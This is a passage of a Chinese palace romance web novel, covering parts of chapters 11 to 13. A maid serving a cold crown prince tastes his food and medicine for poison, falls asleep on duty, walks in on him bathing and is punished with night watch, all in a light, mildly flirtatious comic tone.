翊坤宫是皇后的宫殿,看来小太监身份果然不简单。
皇后手段高明,既利用送饭的时机监视娄宴,知晓他的近况,又可以向世人展示她对养子的虚寒问暖、事无巨事,给自己立下一个良母的人设。
但皇后似乎也不是那么聪明的样子,太子府事事都得经过翊坤宫,明眼儿人都能看出其中的猫腻啊。
就比如说浣衣局的秦嬷嬷,她都知道皇后对娄宴没安好心。
盛溦溦打趣道:“原来是翊坤宫的公公啊,我有眼不识泰山了。”
“姐姐高抬我了,我就是个下等奴才,专干跑腿的活儿。”
“跑腿儿的怎么了,跑着跑着就跑上去了,你瞧但凡有点儿重要的岗位,哪个不是跑出来的啊,你再多跑两年,保管超过你师父现如今的地位了。”
宫里的太监又多又杂,关系网盘根错节的,基本每个太监都有个引入门的师父,关系好比普通人的父子关系,属同一个派系、同一根绳上的蚂蚱。
“姐姐吉言,我可是盼星星盼月亮盼着那一日呢。”罗才将膳盒一个个的打开给盛溦溦看,到最后一个膳盒时,方道:“这是太医新开的药方,等殿下用完早膳你再打开,否则凉了,药效就弱了,切记盯着殿下把药喝完。”
连药都是熬好一并送来,不得不说即使是做给别人看的假象,但这服务也确实够五星级的了。
只是最后那句话听着有些别扭,殿下那么大个人了,还得要她看着喝药不成?
两人你一言我一语随口聊着,到了厨房,罗才将昨日的碗筷膳盒等拿走了,盛溦溦则将他送来的早膳端出来,换到一个较大的托盘里,捧着往餐堂去了。
太子身份有多高贵,从早膳的品种多样性便可以看出来一些,炖的、蒸的、煎的、熬的、清炒的、凉拌的、红烧的应有尽有。
虽不像午膳和晚膳那么油腻,但花样却更多。
不得不感叹,娄宴的生活真是骄奢淫靡啊!
大约是感激娄宴的药救了自己,盛溦溦伺候娄宴用膳时,格外殷勤卖力。
“殿下,这个炸春卷不错,又香又脆,您尝尝……”
“孤不吃炸食。”
“那您尝尝汆水晶丸子,肉质嫩滑,入口回味悠长……”
“孤不喜丸子味。”
“那口蘑肥鸡行吗?奴婢虽然不建议早膳吃的太油腻,但这个鸡味道确实好……”
娄宴像是有心为难盛溦溦似的,冷淡拒绝:“太油腻。”
“殿下,奴婢尝了这个辣糊汤,料足,味道还特别鲜美,闻着就香呢。”
“你不知孤不吃香菜么?”
盛溦溦:……我忍!我可以的!
娄宴的声音已经有些不耐烦了,盛溦溦已经忍到开始怀疑人生了,娄宴平日里都吃些什么了,怎么这些菜都入不了他的眼呢?婆婆出府时也未告诉她这些注意事项啊,弄的她毫无头绪。
不过她也不急,早膳品种太多,每向娄宴提议一个菜式时,她都是要先尝一口的,娄宴还没吃,她已经吃的七分饱了。
吃饱好干事,说的就是她本尊了。
“那殿下想吃什么?奴婢现去给您做好不好?”盛溦溦没想到自己竟这般能屈能伸,在盛府时做养尊处优的嫡小姐时,过惯了衣来伸手、饭来张口的日子,现在变成下人了,也能顺时而变,一点儿都没有做小姐时的架子,完完全全与下人的身份融为一体,保管将主子伺候的挑不出毛病来的。
这才是顺应时事该有的态度。
娄宴冷眸淡淡一抬,看向桌子最外滑的一碗清粥,盛溦溦立马会意,忙不迭的小跑过去将福米粥捧了过去,还顺带了一盘银鱼:“殿下真是好眼光,满桌子的菜,就属福米粥清淡又营养了,早膳吃这个,比吃什么都养胃呢。”
娄宴冷眸微眯,淡漠地瞥了盛溦溦一眼,这恐怕是他见到的第一个能将马屁拍的如此明显的人了。
也不知道方才恨不得将满桌子的菜都让他尝一遍的人是谁。
盛溦溦十分淡定,一副方才什么都没有发过的模样,笑着道:“殿下不能只喝粥,吃点银鱼吧,送早膳的公公说,这是用新鲜的银鱼做的,没有用特别多的辅料,保留了银鱼的鲜嫩口感,还不失营养,和福米粥是最佳搭配呢。”
盛溦溦觉得,如果有劝食师这个执照的话,她一定能考个证回来。
吃过早膳,盛溦溦打开装药的膳盒:“公公说这是太医新开的药,对殿下的病有用,殿下趁热喝了吧。”
娄宴黑眸微眯,眸内的神色更加暗沉阴冷,盯了盛溦溦半晌,方才淡淡地“嗯”了一声。
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眼见娄宴将药碗凑入嘴边,盛溦溦突然想到了什么。
“等一下!”盛溦溦眉头蹙的紧紧的,也顾不得什么礼仪尊卑了,慌忙夺过娄宴手中的碗,“奴婢还没试药呢。”
盛溦溦拿起勺子舀了一勺药,还未碰上嘴唇,便被娄宴用扇柄打掉了。
“殿下?”
盛溦溦微微一愣,自己刚才夺碗的时候确实不太礼貌,但也是为了他好啊,不至于这么记仇吧,手都被打疼了。
呜呜呜,太过份了!
“你不怕有毒?”
盛溦溦眨了眨眼睛,眸色澄清,神情认真,且毫不迟疑地回:“就是怕有毒,奴婢才要试啊,万一药有问题,殿下不就中毒了么。”
只是担心他中毒,就完全不顾自己的安危?宫里送了不少奴婢入府,所有人都知道试菜,但傻到为他试药的,她是第一个。
娄宴神色有些复杂,看向盛溦溦的眼神也有了变化,阴冷的视线微微有了融化的迹象。
盛溦溦被娄宴的视线盯的有些发毛,慌忙跪了下去:“是奴婢疏忽了,公公还对奴婢说是太医新开的药来着,奴婢竟然忘了替殿下试药,是奴婢的不是,殿下不会撵奴婢走吧?”
娄宴刚开始有些融化的冰冷神色,忽然凝固了:“你试药,只是怕孤撵你走?”
那当然了,不然还因为什么,心里这么想,却不敢这么直白的回:“不是不是,奴婢是来伺候殿下的嘛,试药是奴婢的职责啊,奴婢也不想落得一个侍主不恭的罪。”
职责所在?娄宴捏着扇子的手,不由的用了力,胸口一阵胜比一阵闷。
“洗碗去。”
盛溦溦也不知道娄宴怎么如此喜怒无常,他不知道这碗一向都是宫里人洗的么。
“殿下,碗不用奴婢洗的,奴婢只要伺候好殿下就可以了。”
“你不洗,便是侍主不恭。”
我去,娄宴竟敢威胁她。
可她太怂了,压根不敢违逆娄宴啊。
“奴婢这就去洗。”
早膳一波三折,好在只是被罚洗腕,对盛溦溦来说不是问题,将碗碟洗净后,便准备去将娄宴昨日换下的衣服给洗了。
按理来说,盛溦溦在浣衣局呆了那么久,洗衣服对她来说应该是手到擒来的事,她自己也是这么认为的,所以一路上都轻松愉悦、蹦蹦跳跳的,直到她从衣篮里拎起一个造型奇特地……内衣?内裤?
经盛溦溦手的衣服没有上万也有几千了,但她从未洗过男子的贴身衣物,主要是李嬷嬷心疼她,知道她尚未嫁人,分她衣物的时候,特意将男子的贴身衣物剔除了。
所以,当她看到那件短窄的、深色的、镶着云纹的,前襟还有突出一块与众不同的衣物时,一阵面红耳赤。
众皇子的衣物,从里到外、从上到下,都是专门定制的,所以每个人的衣物都是独一无二、尺寸不一的。
想到这里,盛溦溦不由的看了下眼前的内裤,然后羞耻的想戳瞎自己的双眼。
好……好大的尺寸啊。
盛溦溦闭起双眼,拎着内裤的那条手臂伸出去老远,然后丢进水槽里,拿捣衣棍匆忙捣了几下,便果断的认为洗好了。
心里想着,反正她怎么洗衣服的,娄宴也不会瞧见。
晾晒衣服的时候,盛溦溦还是不得不感叹了一句:真是人不可貌相、尺寸不可测量啊。
好不容易洗晒好衣服,盛溦溦还没忘记书房和练剑的院子还没打扫,不过时辰早,她也不急,先晃荡去厨房切了一盘水果,又心血来潮将果盘摆了个新造型,这才慢慢悠悠地朝书房走去。
半上午的时间就这么蹉跎而过了。
论摸鱼的功力,她是一流的。
娄宴也不知道在看什么书,眉心微蹙,阴沉着一张俊的毫无人性的脸,看得出来并不高兴,盛溦溦虽然话多,但知道这个时候装瞎子、装哑巴会更妥当安全一些,于是将果盘轻轻放在桌子上,便拿起水盆里的抹布,转到书架旁擦起书架来。
盛溦溦本来以为处在这种沉默的氛围里,时间会比较难熬,后来才知道自己想多了。
难熬是因为无所事事,如果一部手机在手,哪怕是身处地狱,时间依然快的像龙卷风,此刻她虽然没有手机,但跟有手机没什么两样,因为娄宴那气死人不偿命的颜值,不比手机更好看么。
刷手机上网,干的最多的事就是看着屏幕前的爱豆照片,使劲儿舔屏,此刻在她眼前,连块屏幕都没有,看的更真切,连侧光下,娄宴下颌处一颗浅浅的痣都看的清清楚楚。
好一副神仙容颜啊!
11. 011
第十一章
上午的时间过的比较快,下午的时间就有些难熬了,盛溦溦有午睡的习惯,哪怕在浣衣局,她都会瞅着空眯上一小会儿,因为有李嬷嬷给她打掩护,所以从来没被发现过。
但娄宴没有午睡的习惯。
他不睡,盛溦溦便不能睡。
为了跟娄宴步伐保持一致,盛溦溦这几日都在努力改掉午睡的习惯。
娄宴午膳后在院子里练剑,盛溦溦也跟了过去,婆婆叮嘱过要时刻守着殿下周围,随时听候他吩咐,于是她索性坐在长廊的石阶上,身边的凳子上放着一壶清茶、几盘瓜果和一堆干净的锦帕。
每当娄宴收剑稍作歇息,她便殷勤地递水递水果递锦帕,伺候的那叫一个无微不至、关怀有加啊。
“殿下,这茶奴婢煮了三遍了,一点儿都不涩口了,喝一口满满的清香呢。”
“殿下吃些水果吧,都是冰镇过的,很爽口的。”
“殿下,奴婢给您擦擦汗吧。”
除了周到贴心的后勤服务以外,盛溦溦知道无所不在的恭维也是必不可少的。
“殿下您太厉害了,您练的这个是六脉神剑吗?”
“不是六脉神剑,那肯定独孤九剑了?”
“奴婢听说太极剑威力很大,难道殿下练的是太极剑?”
“奴婢知道了,肯定是追魂夺命剑对不对,一剑便能要命的那种,殿下这剑那么厉害,肯定是它没错了。”
“奴婢愚笨,实在猜不到什么剑名,奴婢只知道厉害,殿下练的剑法比奴婢看过的任何一个剑法都要厉害!”
盛溦溦看的武侠小说不多,绞尽脑汁把能想起来的都说了,也不得要领,而娄宴惜字如命,自始至终就没回应过几个字,盛溦溦一点儿都不在意,她又不是真的想知道娄宴是在练什么,她只要做好球场上啦啦队的角色,对着娄宴把彩虹屁吹足吹爆就够了!
盛溦溦相信只要坚持的时间够久,没人能抵挡住彩虹屁的威力。
这一次娄宴练剑的时间长了一些,是之前的好几倍,盛溦溦几次想端茶送帕都没能得逞,几次下来,精神便松懈了下来,双手支着下巴,渐渐感觉到困乏的后劲上来了。
盛溦溦心知不能睡,又怕自己意志力不够,于是转身回屋,不知打哪儿剪了一截长绳,把一头栓在她的头发上,另一头栓在门上,只要她不小心睡着,就一定会扯直绳子,随后头发随门猛地一拉,肯定就疼的醒过来了。
连悬梁刺股这么狠的法子都用上了,盛溦溦快被自己感动哭了。
想她上一世要这般努力,哪至于弄到被弃尸荒野的地步啊。
……
娄宴现在练的这套剑法,之前已经练了一个月,始终未得精髓,苦无突破,练的时间也越练越长,也不知道练了多久,他突然感觉到似乎少了点儿什么。
一直在耳边聒噪的声音没有了。
娄宴长眉微扬,冷毅的五官并未露出什么异样,利剑在他手上收放自如,只是在剑峰转向的时候,很自然的顺势转了个身,然后便瞧见盛溦溦坐在石阶上,仰着脸、眼睛大半已经合上了,头不住的一点一点着,眼看就要睡着了。
束在她发顶上的绳子眼看就要被拉直了。
娄宴黑眸嗖的一眯,收剑飞步而去,稳稳托住盛溦溦偏向一旁的脑袋。
盛溦溦毫无知觉,像是觉得很舒服一般,脸在娄宴的手掌心里蹭了蹭,嘴角微微一张,竟然流出了哈喇子。
娄宴眸色陡沉,身体跟石化了似瞬间僵硬,神色透露出说不出的狰狞古怪,连眼皮都泛出不适感,甚至有那么一瞬,竟没了呼吸。
对洁癖的娄宴来说,哈喇子在手,就好比无数个令他难以忍受的虫子在他手掌心蠕动……
这滋味,简直要把人逼疯。
娄宴身体僵硬,忍住心中不适,慢慢地将盛溦溦的脸从他的手移到他的肩膀,再抱到石阶最上面的门旁,将她的身子稳稳地靠在长廊的柱子上,解开束在门上的绳子。
做完这一切,娄宴取出袖中的锦帕准备擦手,一眼瞧见歪头熟睡的盛溦溦,不由地叹了口气,探身先将她嘴角的口水试净,皇后挑人的眼光越来越独到了,他不仅讨厌不起来,反而还觉得挺有意思。
有意思到,他正在为一个奴婢试嘴角的口水。
两人离的近,娄宴探身的时候,盛溦溦轻浅软甜的呼吸轻轻地扑在他的脸上,仿佛是种掺了迷魂药的香熏一般,惹的他呼吸一怔。
盛溦溦睡的熟,额上和鼻尖渗出细密的汗,睫如羽翼薄而长、轻而浓,始终灵活闪烁的眸子此刻不见,但红糯的唇角依然能看出含着浅浅的笑意,仿佛随时都会开口甜甜的唤他一声“殿下”。
娄宴的目光从她的眉、眼、鼻、唇一直往下,看到泛白泛旧还有些破损的衣领内,她细腻白皙的脖颈若隐若现,他的喉结不由自主的上下滑动了一下。
敛起复杂的神色,娄宴随手扯了一下衣领,明明松紧程度与平日无二,此刻他竟觉得有些紧、有些干、有些燥。
九陌刚从外面办完事回来,正欲向殿下回话,一进府便瞧见闭眼靠在柱子上的盛姑娘,吓了他心一沉,皇后已经这般毫无顾忌了么,青天白日的就敢对盛姑娘下手?“殿下,盛姑娘怎么了?”
娄宴站起身,神色恢复如常淡漠:“睡着了。”
睡……睡着了?九陌一时反应不过来,再仔细朝盛姑娘瞧去,见眼脸色红润、呼吸平缓,确实没有异样,眼皮子不由的一抽,这盛姑娘心也太大了,在殿下眼前,还睡的这般踏实?
“宫里拨来的衣物在何处?”
“都在库房里。”
太子府里这两年虽然没了下人,但吃穿用度的供应丝毫未减,每三个月,宫里便依例拨些下人穿戴用品入府,因为用不上,婆婆和九陌便将那些衣物统统放在库房里。
“你去挑几件。”
九陌闻言,眼睛不由的朝盛溦溦看去:“给盛姑娘穿的?”
娄宴声音淡漠:“既入了府,总不能让她丢了孤的脸。”
九陌也觉得盛溦溦的衣服太过于寒碜了,确实该换,可是让他给一个女子挑衣服,是不是太强人所以难了啊。
“属下一个粗人,这眼光……”
娄宴的目光淡淡的移至盛溦溦脸上,神情露出些不可察觉的微妙:“罢了,库房在何处?”
九陌诧异:“殿下亲自去选?”
“你去?”
娄宴眉峰一挑,如冷剑划过:九陌顿时就缩了缩脖子:“那还是殿下去吧。”
……
盛溦溦睡了长长的一觉,醒来的时候,太阳刚落,天边是耀目的火烧云,眼前却不见娄宴的身影。
糟了,怎么睡了这么久?
摸了摸束在头上的绳子,不由地奇怪,明明绳子还在,为什么她睡着时,竟没有拉动绳子呢?扭头往门上一看,发现那绳子不知什么时候从门上脱落下来了。
娄宴是不是对自己太失望了啊,他练剑自
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己不仅没有伺候好他,反而明目张胆地在这里睡觉,是个主子都会生气的吧。
这倒好,午睡的习惯没戒掉,反而变本加厉了,本来就睡了一身的热汗,此刻盛溦溦又惊出了一身冷汗。
盛溦溦怀着一颗忐忑不安的心,进书房转了一圈,也没发现娄宴,猜他练完剑出了一身的汗,此刻应该去浴池沐浴了,估摸着时间,这会儿也差不多洗完了。
盛溦溦痛定思痛,既然已经错在先,这会儿不能再等娄宴吩咐她洗衣服了,她应该主动去把娄宴换下来的衣服洗掉。
盛溦溦走的急,脑子里想的尽是一会儿洗完衣服去见娄宴的时候,该怎么向娄宴承认错误,冷不丁的一掀浴帘,发现一个身材比例绝佳、肌肉强壮到完美无暇的男人从浴池里站起身来。
晶莹的水滴划过他小麦色的皮肤,留下一道稍纵即逝的惑人轨迹,倒三角的身材仿佛专为诱人而来,透出一股熟透了的魅力,满浴室的荷尔蒙气息不管不顾的横冲直撞。
盛溦溦瞪大了双眼,绷直了身体,提起一口气,半晌没缓过神来。
盛溦溦:!!!
我去,一个不小心,就看了个儿童不宜?
这可如何是好啊!
娄宴也发现了盛溦溦,眉宇隐隐一凛,却也没有太大的反应,还未开口,就见盛溦溦扑通一声跪了下去,一把捂住眼睛:“唉哟,哪儿来的风啊,吹迷了眼睛了,什么都看不见了,这是到哪儿了啊。”
她的身边,门帘纹丝不动。
力证风的清白。
娄宴神色微动,勾了勾唇,沉声道:“过来,为孤更衣。”
啊?盛溦溦跪在地上,上半身几乎全伏在了地上,浑身战栗的不敢抬头。
娄宴可是刚刚从浴池里爬上来的啊,这这这……怎么更衣啊?
“怎么?”
娄宴的声音再次传来,盛溦溦不敢再耽搁了,低着头垂着脸挪到娄宴身边,拿过凳子上的衣服,结结巴巴地道:“奴婢……来了。”
说话时,整个人小心翼翼到指甲缝都跟着颤抖。
盛溦溦挪到娄宴身边,看着凳子上的一堆衣服,开始发愁:“殿下您先穿哪件?”
“你说呢?”
呃……不好说啊。
盛溦溦听出娄宴语气的不耐,只好硬着头皮先拿起了内衣,用手指尖捏着衣服,不敢握的太多,生怕碰到娄宴,引起他的误会。
大约是觉得盛溦溦太磨叽了,娄宴等不及,已经将贴身下衣穿好了。
盛溦溦自认是好色的,尤其是遇到颜值和身材双双在线的男人,不看白不看,可眼下也不知道怎么了,还没靠近娄宴,她便不由自主的脸红心跳,这一靠近,呼吸都快停止了。
实在是惶恐啊。
娄宴太高了,她浅浅的捏着衣服根本没办法儿替他穿上,中途要不是娄宴眼急手快,她的嘴差点儿就跟娄宴的身体来了个亲密接触。
“睡了一下午,还没力气?”
盛溦溦闻言眨了眨眼睛,就知道下午睡觉这件事,娄宴不会轻易放过她的。“奴婢知错,请殿下责罚,另请殿下相信奴婢,奴婢一定会改掉午睡的习惯,以后殿下什么时候,奴婢便什么时候睡,奴婢保证说到做到。”
在强大的太子殿下面前,老实主动承认错误一定比找理由找借口好,何况她还给自己立了那样一个忠心耿耿的flag呢。
“好。”娄宴冷连眼皮都未动一下,不容拒绝地吩咐:“罚你守夜。”
12. 012
第十二章
守夜?盛溦溦当然知道守夜代表什么,在盛府的时候,一开始也有奴婢给她守夜,后来她觉得有人守着她睡觉很不舒服,就把给她守夜这件事给取消了。
风水轮流转,现在轮到她给别人守夜了。
惩罚的话,是她自己说出来的,她也不能后悔。“奴婢知道了。”
给娄宴穿好了贴身衬衣,盛溦溦终于可以稍稍松了口气,没有了那诱人的肌肉,她的视线终于可以正常游走了,虽然还是会不自然,但她至少可以保证手上的衣服到哪儿、她的视线便跟去哪儿。
好不容易替娄宴穿好了衣服,盛溦溦全身都汗湿透了,额角的发丝混着汗珠,湿嗒嗒的搭在脸颊上。
盛溦溦下意识的随手抹了下额角的碎发,娄宴看向她的目光却沉了沉。
“殿下,宫里的人还没来,奴婢给您切了水果,您要不要先吃点水果?”
“嗯。”
娄宴抬步往外走,盛溦溦随后便跟上,却又见他转过身,眼神在她身上停了一下,又看了看浴池,道:“你,去沐浴。”
盛溦溦本能的拒绝:“奴婢身份低下,不能……”
“沐。”
真是言简意赅、强势霸道的命令啊,简直了,感觉自己要是不听话,恐怕会被他直接扔进浴池里吧。
“呃……奴婢遵命。”
盛溦溦确认娄宴离开了浴池,又将门关好,这才脱下被汗水湿透的衣裳,欢天喜地地将整个身子没入进浴池里,顿时,身体上的每一个毛孔都自由自的舒展开来,温热的水轻柔的包裹着她,夹带着花的清香,令她舒服的想叫出来。
自打进入浣衣局后,别说沐浴了,就是想单独洗个澡都是一种仰望不及的奢望。
现在能自游自在的徜徉在浴池里,盛溦溦觉得就跟做梦一样,虚幻到不敢相信。
突如而来的幸福,并没有令盛溦溦得意忘形,心知离晚膳的时辰也没多久了,她必须赶在宫里人来之前,穿好衣服去开门。
盛溦溦也不敢享受太久,洗的差不多准备起身的时候,这才想起来她没有拿干净的衣服,难不成还要穿她之前的那身被汗湿了的衣服?
那这澡不是白洗了?可她也不能不穿衣服就跑出去啊。
苦恼间,浴池的门突然从外向内推开,盛溦溦浑身一颤,吓的赶紧靠边蹲下身体,只将头露在水面。
她明明记得把门关上了啊。
娄宴并没有入内,只是站在门口,将手中的衣服扔在了凳子上,随之而来的,还有他低沉的声音。
“穿上。”
盛溦溦虽然人在水里,但眼睛看的清清楚楚,娄宴扔过来衣服都是上好的料子,不是她这种身份的下人能穿的。
困境中的盛溦溦自然是感激不尽:“奴婢多谢殿下。”
“旁的都扔了。”
旁的?指的是她原先穿来的衣服吗?盛溦溦有些不解:“为什么扔啊?”
“你还想回浣衣局?”
“奴婢当然不想了。”盛溦溦摇头,突然意识到娄宴说这话,很明显是对她的认可啊!顿时,漂亮的双眸弯起好看的孤度,眼里的光亮迫人,像发誓一般道:“奴婢知道了,奴婢一定会和过去划清界限,从此以后,只专心服侍殿下一人。”
多么难得的一个表现忠心的绝佳机会啊,当然不能放过了。
娄宴丢出一句“穿好出来”便转身出去了。
“知道了殿下,您先去餐堂哈,奴婢一会儿就过去。”盛溦溦觉得浑身都充满了力量,说话的声音比平时都更响亮清脆了一些。
洗了舒服澡,换了干净好看的衣服,盛溦溦对着镜子一照,自己都快不认识自己了,虽然近几月日子过的清苦,但她已然到了发育的年龄,都说女大十八变,这话儿一点儿都没错,她从小就是个美人胚子,现在又是女孩子最青春靓丽的年龄,似乎每一天都有变化,包括脸蛋和身材,只是之前因为一直在浣衣局,每日一睁眼等着她的就是洗不完的衣服,根本顾不上自己,现在仔细对着镜子一看,她似乎比几个月前的自己出落的更加动人了。
身材……也好像丰腴了一些呢。
尤其是女孩子该发育的地方,她发育的很不遗余力呢。
盛溦溦怕娄宴等及了,也没敢臭美多久,头发也还没干,只好把湿漉漉的长发梳直,然后随手拢了一下,置于脑后,便跑去找娄宴了。
受了娄宴这么大的恩惠,肯定得表达谢意啊。
人还没到餐堂,宫里的小太监罗才便到了。
一开门,罗才便目不转睛地盯着盛溦溦看:“姐姐今日这什么发式,像天上的仙女一样,真好看。”
“哪有什么发式啊?”盛溦溦没想到有人的彩虹屁吹的比自己还溜,不过这话怪好听的:“我刚洗了头发,没干呢,就随便搭在身后。”
“是么?”罗才眼睛亮了亮:“宫里近日要举办迎夏节呢,皇后娘娘正苦恼梳什么发式,我若把姐姐的今日的发式献给娘娘,姐姐不会怪罪吧?”
“你要献便献,只是回头挨了骂可别怨我。”
“我有信心,肯定不会挨骂的。”罗才一边收拾中午的碗筷,一边道:“今天晚上炖的是银耳莲子羹,我想着姐姐应该喜欢,多带了两碗,姐姐夜里渴了也能喝。”
罗才这小子这么殷勤,盛溦溦都不免多看他两眼了,该不会和她打好关系,是为了套娄宴的信息吧。“阿才,要是被发现你多带,会挨罚吗?”
“我就说是殿下要喝的,没人会发现的。”罗才谨慎的瞧了瞧四周,往盛溦溦身旁凑近了些,压低声音道:“太子府的事,没人管的,也不会有人来盘查我有没有说谎。”
不知怎的,盛溦溦听了这话心里有些不舒服,娄宴怎么说也是太子啊,虽然人人都看他的笑话,等着皇上废了他,可至少目前还没废啊,怎么能这么对待他!将来等他翻身做主,有的这些人吃苦的。
盛溦溦也不便透露什么信息,只是淡淡地笑了笑:“你倒是机灵。”
……
送走了罗才,盛溦溦端着晚膳去了餐堂,她发现太子的伙食好的不得了,从来没有“早上吃的好、中午吃的饭、晚上吃的少”这种讲究,早中晚的膳食的搭配不仅营养均衡,菜也特别合她的胃口,尤其是晚上,各色菜品一点儿都不带马虎的。
娄宴立在屋内,手中正在翻着一本书,身形挺拔傲立,往那儿一站便是一道风景。
盛溦溦将膳食一一摆上桌,然后逐一试菜。
这是她进太子府之后,所有的工作中,最称心如意的一项了。
“方才同你说话的是宫里人?”
盛溦溦正将一大块红烧肉塞入嘴里,冷不丁的娄宴一发问,她竟然没法儿回话,这个时候把红烧肉吐出来好像又不太礼貌,鼓着腮邦子不知如何是好了。
只怪红烧肉太香了!
娄宴冷俊的脸突然有了些松动,嘴角似乎扬起了浅淡地笑意,那是盛溦溦第一次瞧见他笑,虽然浅淡的神情可能谈不上是真正意义上的笑,但盛溦溦觉得简直太好看了,仿佛春风细雨、润物于无声一般,轻易便被他拨动心弦。
心跳都漏了几拍。
“吃完再回。”
盛溦溦迅速嚼了几下,将红烧肉吞了下去,赶紧道:“是的,他叫罗才,太子府每日的膳食都是他来送的。”
“不过两日,你连他名字都摸清了?”娄宴的声音不着痕迹的冷了几分。
盛溦溦吞了吞口水,总觉得娄宴话里的语气很是古怪,都说南夜国的男子很小心眼儿,自家的东西从不与旁人分享,娄宴会不会也这样?认为自己是他的奴婢,只要关注他一个人,旁人无需理会?
盛溦溦揣测着娄宴的心思,道:“不是的殿下,奴婢没有打听他的名字,是他自个儿非要告诉奴婢的,奴婢知道他是宫里的人,原本不想搭理他的,但后来听他说他是翊坤宫的人,想着他可能是皇后娘娘的人,奴婢自然不能得罪,所以才回应几句。”
盛溦溦在心里默默地念:罗才,我
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这是迫不得已啊,千万不要怪我啊!
“你怕皇后娘娘?”
“奴婢不是怕。”盛溦溦仰起脸,目光澄澈:“奴婢虽然只是一个小小的奴婢,但在旁人看来奴婢是殿下的人,做错任何事都是给殿下您丢脸,万一再被有心人利用,那就会对殿下不利,所以奴婢时刻提醒自己要谨言慎行,能不说话就不说话。”
趁着这个机会隐讳的表明自己的立场,盛溦溦觉得自己简直太聪明了,不过天地良心,她对娄宴真的忠心耿耿啊!
盛溦溦一番话,除了后面那句“能不说话就不说话”让娄宴颇觉哭笑不得外,,旁的话娄宴倒也没什么怀疑,敛眸淡漠地道:“这番话,除了孤,往后莫要向旁人提起。”
盛溦溦忙不迭的点头,视线移向刚才尝过的那盘红烧肉,舔了舔嘴唇:“奴婢知道了。”
娄宴晚膳一向吃的不多,简单吃了几口后便欲起身,见盛溦溦眼睛盯着膳桌,露出一副意犹未尽的样子,便未起身:“替孤尝尝八宝丸子。”
“奴婢遵命。”盛溦溦伸手就去端八宝丸子,自己这运气也太好了吧,刚想吃八宝丸子呢,娄宴就让她尝了。
盛溦溦咬了一口八宝丸子,觉得味道也只是一般般,远不及以前盛府里的厨子。“殿下,奴婢觉得这八宝丸子欠些火候,估计您不爱吃。”
盛溦溦一边说着,目光已经锁住了桌上的一盘卤牛肉上。
“嗯。”娄宴挑眉点头,眸色淡淡:“试试卤牛肉。”
盛溦溦脸上的笑已经绷不住了,她这是人品爆发么,想吃什么来什么,看来她和娄宴的口味差不多啊,她爱吃的娄宴似乎也喜欢。
……
盛溦溦吃撑了,绕着太子府东屋散步消食。
虽然她的身材苗条,但也不敢松懈,毕竟每日要替娄宴试菜,一不留意,就能吃成大胖子。
几圈走下来,遇到同在散步的娄宴。
盛溦溦自然不会放过任何一个抱娄宴大腿的机会,主动跑过去打招呼:“殿下也在散步啊……好巧啊。”
娄宴:巧么,孤日日在此地散步。
“太子府真大啊,殿下还会去别的地方散步么?”
“不会。”
“这样啊,也是,殿下散步的这条路,景色最是好看。”盛溦溦站了没一会儿,突然被蚊子叮了一口,转脸见娄宴眉头微蹙,似乎也被蚊子叮到了。
在屋里尚感觉不到,到屋就发现蚊子真多,尤其是他们呆的地方,因为靠近假山水池和园林,蚊子特别多,娄宴每日还在那里散步,也不怕被蚊子叮么?
“殿下稍等,奴婢去去就来。”
没一会儿,盛溦溦就回来了,还搬来了两盆薄荷树,一边放在路两旁,一边道:“薄荷树的香味儿能驱蚊,殿下日日在这里散步,以后有了它们,就不用再怕蚊子叮啦。”说罢,俏皮的眨眨眼,又抿唇道:“这里太大了,两盆不够,奴婢明日再多搬些过来。”
处处为娄宴着想,而且事事都想在他前面,这是盛溦溦打定主意进太子府时就立下的flag,所以也没有想太多,更没有察觉到娄宴看她的目光变的深不可测起来。
挺拔的身躯在月光下拉出一个影子,影子旁边,又有另一个小小的身影,娄宴目光微微有些发怔,作为太子的他从小到大,万千宠爱于一身,不缺关心、不缺爱护、不缺荣耀,什么都不缺,却缺一颗能够温暖他的真心。
盛溦溦半蹲着身子,柔和烛光托着清冷的月光,一并洒在她柔弱的肩膀上,束在脑后的发带不知何时脱落,一头柔顺的乌发轻轻搭在身上,衬托她的容颜愈发清丽纯美。
娄宴觉得喉咙有些发紧:“回屋。”
“殿下不散步了?”
“嗯。”
“那殿下先回屋,”盛溦溦还没忘记守夜的事,站起身来:“奴婢现在回屋取竹席。”
娄宴敛起黑眸,眸内亮光一闪,却也只是转瞬即逝。
“不必,屋里有竹榻。”
“哦。”
13. 013
第十三章
盛溦溦空着手跟在娄宴身后,一直跟进了屋子,跟到了床榻旁。
娄宴伸开手臂,盛溦溦便凑过去替他脱衣,白天的时候,她便放了一张凳子在他屋子里,此刻站在凳子上,高度刚刚好。
脱衣服这件事对盛溦溦来说依旧是个坎儿,只是经历的次数多了,她多少有了些经验,就跟剥洋葱一样,动作一次比一次熟练。
“燃香了?”娄宴回屋后,就闻到一股淡香,因为时刻要保持清醒的缘故,他已经许久不曾点香了。
“婆婆说殿下思虑颇多,偶而头痛,夜里还经常睡不好觉,这个香薰香而不浓,有镇定安神的作用,奴婢想着应该能让殿下早些入眠。”盛溦溦半仰着脸,呵气如兰,轻飘飘的拂入娄宴鼻翼间,又是一阵恍惚。
解了衣领的扣子,盛溦溦这才发现她弄错了顺序,腰间的佩带还没解呢,于是蹲下身子去解腰带,腰带与鞋面是同一色系同类蟒纹,佩有香囊、玉坠等,盛溦溦生怕弄坏了衣物,动作很是小心翼翼,但越是小心翼翼,越是容易出错,最后香囊没解下来,反而绕来绕去,把香囊绕成了死结。
关键那香囊还绕住了腰带,弄的腰带也解不下来了。
一开始,娄宴还能站的挺拔笔直,态度也闲散,但盛溦溦的手很不老实地在他衣服上动来动去,时间又太长,弄的一惯淡漠如常的他反倒有点儿不自然了。
娄宴垂眸,目光幽深地看向低头研究腰带的盛溦溦:“怎么回事?”
盛溦溦仰起可怜兮兮的脸,老老实实地回:“奴婢把香囊绕住了,解不开了。”
娄宴不由的闭了闭眼睛,一口气险些提不上来:“剪了。”
“……这不好吧……”盛溦溦好歹也是官小姐出身,能看得出来香囊不一般,做工十分精致,绣云纹镶着金边儿,且散出来的淡淡香味,是十分昂贵罕见的古木榆晚所制,这要是剪了,回头追起责来,让她赔可怎么办?
“不剪,你是让孤等你一夜么?”
盛溦溦瞧见娄宴眼里的阴沉,意识到再不剪,娄宴就要发彪了,只好道:“殿下稍等,奴婢这就去找剪刀。”
在屋子里转悠了好几圈,盛溦溦也没发现剪子,眼见娄宴的神色越来越不耐烦,搓着手忐忑不安不安的道:“殿下,奴婢没找到剪子,但奴婢牙齿很厉害的,奴婢可以咬断绳子。”
咬断?
此话一出,娄宴的神色在烛光里忽明忽暗,手在他身上摸来摸去也就罢了,现在竟然用上嘴了?
